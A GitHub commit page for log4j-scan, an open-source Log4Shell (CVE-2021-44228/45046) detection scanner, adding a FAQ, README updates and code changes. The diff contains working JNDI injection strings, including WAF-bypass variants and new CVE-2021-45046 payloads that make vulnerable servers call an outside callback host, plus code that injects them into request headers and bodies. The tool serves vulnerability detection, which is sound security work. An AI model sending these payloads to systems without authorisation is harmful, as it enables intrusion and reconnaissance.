Skip to content

Commit

Permalink
Merge branch 'fullhunt:master' into unit-tests
Browse files Browse the repository at this point in the history
  • Loading branch information
axel3rd authored Dec 22, 2021
2 parents ecfd660 + 070fbd0 commit 31ed713
Show file tree
Hide file tree
Showing 3 changed files with 97 additions and 6 deletions.
41 changes: 41 additions & 0 deletions FAQ.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,41 @@
# Frequently Asked Questions

## DNS callback error

```
Traceback (most recent call last):
File "/Users/user/src/log4j-scan/log4j-scan.py", line 362, in
main()
File "/Users/user/src/log4j-scan/log4j-scan.py", line 332, in main
dns_callback = Interactsh()
File "/Users/darkcode/src/log4j-scan/log4j-scan.py", line 195, in init
self.register()
File "/Users/user/src/log4j-scan/log4j-scan.py", line 206, in register
raise Exception("Can not initiate interact.sh DNS callback client")
Exception: Can not initiate interact.sh DNS callback client
```

It means that the DNS callback provider is down, it's blocked on your network, or you can not connect to the DNS callback provider due to networking issues. You can use an different DNS Callback provider (eg.. with `--dns-callback-provider dnslog.cn`), or you can use a custom DNS callback host with ` --custom-dns-callback-host`.

---

## Running with Python 2

```
File "log4j-scan.py", line 136
fuzzing_headers["Referer"] = f'https://{fuzzing_headers["Referer"]}'
```

It should be related to Python 2 compatibility. The tool requires a modern version of Python 3.

---

# Dependencies issue

```
File "/home/parallels/Log4j-RCE-Scanner/log4j-scan/log4j-scan.py", line 22, in
from Crypto.Cipher import AES, PKCS1_OAEP
ModuleNotFoundError: No module named 'Crypto'
```

This should be related to Pycrypto. Please install the latest Python PyCryptodome version. If you're still facing dependencies issues, you can use the Docker image.
17 changes: 15 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,15 @@
- Supports DNS callback for vulnerability discovery and validation.
- WAF Bypass payloads.

---
# 🚨 Announcement

There is a patch bypass on Log4J v2.15.0 that allows a full RCE. FullHunt added community support for log4j-scan to reliably detect CVE-2021-45046. If you're having difficulty discovering and scanning your infrastructure at scale or keeping up with the Log4J threat, please get in touch at ([email protected]).

![](https://dkh9ehwkisc4.cloudfront.net/static/files/d385f9d8-e2b1-4d72-b9c2-a62c4c1c34a0-Screenshot-cve-2021-45046-demo.png)

---

# Description

We have been researching the Log4J RCE (CVE-2021-44228) since it was released, and we worked in preventing this vulnerability with our customers. We are open-sourcing an open detection and scanning tool for discovering and fuzzing for Log4J RCE CVE-2021-44228 vulnerability. This shall be used by security teams to scan their infrastructure for Log4J RCE, and also test for WAF bypasses that can result in achiving code execution on the organization's environment.
Expand All @@ -22,7 +31,6 @@ It supports DNS OOB callbacks out of the box, there is no need to setup a DNS ca




# Usage

```python
Expand All @@ -37,7 +45,8 @@ optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Check a single URL.
-p PROXY, --proxy PROXY
Send requests through proxy.
Send requests through proxy. proxy should be specified in the format supported by requests
(http[s]://<proxy-ip>:<proxy-port>)
-l USEDLIST, --list USEDLIST
Check a list of URLs.
--request-type REQUEST_TYPE
Expand All @@ -50,10 +59,14 @@ optional arguments:
--wait-time WAIT_TIME
Wait time after all URLs are processed (in seconds) - [Default: 5].
--waf-bypass Extend scans with WAF bypass payloads.
--test-CVE-2021-45046
Test using payloads for CVE-2021-45046 (detection payloads).
--dns-callback-provider DNS_CALLBACK_PROVIDER
DNS Callback provider (Options: dnslog.cn, interact.sh) - [Default: interact.sh].
--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST
Custom DNS Callback Host.
--disable-http-redirects
Disable HTTP redirects. Note: HTTP redirects are useful as it allows the payloads to have higher chance of reaching vulnerable systems.
```

## Scan a Single URL
Expand Down
45 changes: 41 additions & 4 deletions log4j-scan.py
Original file line number Diff line number Diff line change
Expand Up @@ -57,7 +57,15 @@
"${${lower:${lower:jndi}}:${lower:rmi}://{{callback_host}}/{{random}}}",
"${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://{{callback_host}}/{{random}}}",
"${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://{{callback_host}}/{{random}}}",
"${jndi:dns://{{callback_host}}}"]
"${jndi:dns://{{callback_host}}}",
]

cve_2021_45046 = [
"${jndi:ldap://127.0.0.1#{{callback_host}}:1389/{{random}}}", # Source: https://twitter.com/marcioalm/status/1471740771581652995,
"${jndi:ldap://127.0.0.1#{{callback_host}}/{{random}}}",
"${jndi:ldap://127.1.1.1#{{callback_host}}/{{random}}}"
]


parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url",
Expand Down Expand Up @@ -100,6 +108,10 @@
dest="waf_bypass_payloads",
help="Extend scans with WAF bypass payloads.",
action='store_true')
parser.add_argument("--test-CVE-2021-45046",
dest="cve_2021_45046",
help="Test using payloads for CVE-2021-45046 (detection payloads).",
action='store_true')
parser.add_argument("--dns-callback-provider",
dest="dns_callback_provider",
help="DNS Callback provider (Options: dnslog.cn, interact.sh) - [Default: interact.sh].",
Expand All @@ -109,6 +121,10 @@
dest="custom_dns_callback_host",
help="Custom DNS Callback Host.",
action='store')
parser.add_argument("--disable-http-redirects",
dest="disable_redirects",
help="Disable HTTP redirects. Note: HTTP redirects are useful as it allows the payloads to have higher chance of reaching vulnerable systems.",
action='store_true')

args = parser.parse_args()

Expand Down Expand Up @@ -148,15 +164,27 @@ def generate_waf_bypass_payloads(callback_host, random_string):
payloads.append(new_payload)
return payloads

def get_cve_2021_45046_payloads(callback_host, random_string):
payloads = []
for i in cve_2021_45046:
new_payload = i.replace("{{callback_host}}", callback_host)
new_payload = new_payload.replace("{{random}}", random_string)
payloads.append(new_payload)
return payloads


class Dnslog(object):
def __init__(self):
self.s = requests.session()
req = self.s.get("http://www.dnslog.cn/getdomain.php", timeout=30)
req = self.s.get("http://www.dnslog.cn/getdomain.php",
proxies=proxies,
timeout=30)
self.domain = req.text

def pull_logs(self):
req = self.s.get("http://www.dnslog.cn/getrecords.php", timeout=30)
req = self.s.get("http://www.dnslog.cn/getrecords.php",
proxies=proxies,
timeout=30)
return req.json()


Expand All @@ -182,6 +210,8 @@ def __init__(self, token="", server=""):

self.session = requests.session()
self.session.headers = self.headers
self.session.verify = False
self.session.proxies = proxies
self.register()

def register(self):
Expand Down Expand Up @@ -255,6 +285,10 @@ def scan_url(url, callback_host):
payloads = [payload]
if args.waf_bypass_payloads:
payloads.extend(generate_waf_bypass_payloads(f'{parsed_url["host"]}.{callback_host}', random_string))
if args.cve_2021_45046:
cprint(f"[•] Scanning for CVE-2021-45046 (Log4j v2.15.0 Patch Bypass - RCE)", "yellow")
payloads = get_cve_2021_45046_payloads(f'{parsed_url["host"]}.{callback_host}', random_string)

for payload in payloads:
cprint(f"[•] URL: {url} | PAYLOAD: {payload}", "cyan")
if args.request_type.upper() == "GET" or args.run_all_tests:
Expand All @@ -265,6 +299,7 @@ def scan_url(url, callback_host):
headers=get_fuzzing_headers(payload),
verify=False,
timeout=timeout,
allow_redirects=(not args.disable_redirects),
proxies=proxies)
except Exception as e:
cprint(f"EXCEPTION: {e}")
Expand All @@ -279,6 +314,7 @@ def scan_url(url, callback_host):
data=get_fuzzing_post_data(payload),
verify=False,
timeout=timeout,
allow_redirects=(not args.disable_redirects),
proxies=proxies)
except Exception as e:
cprint(f"EXCEPTION: {e}")
Expand All @@ -292,6 +328,7 @@ def scan_url(url, callback_host):
json=get_fuzzing_post_data(payload),
verify=False,
timeout=timeout,
allow_redirects=(not args.disable_redirects),
proxies=proxies)
except Exception as e:
cprint(f"EXCEPTION: {e}")
Expand Down Expand Up @@ -334,7 +371,7 @@ def main():

cprint("[•] Payloads sent to all URLs. Waiting for DNS OOB callbacks.", "cyan")
cprint("[•] Waiting...", "cyan")
time.sleep(args.wait_time)
time.sleep(int(args.wait_time))
records = dns_callback.pull_logs()
if len(records) == 0:
cprint("[•] Targets does not seem to be vulnerable.", "green")
Expand Down

0 comments on commit 31ed713

Please sign in to comment.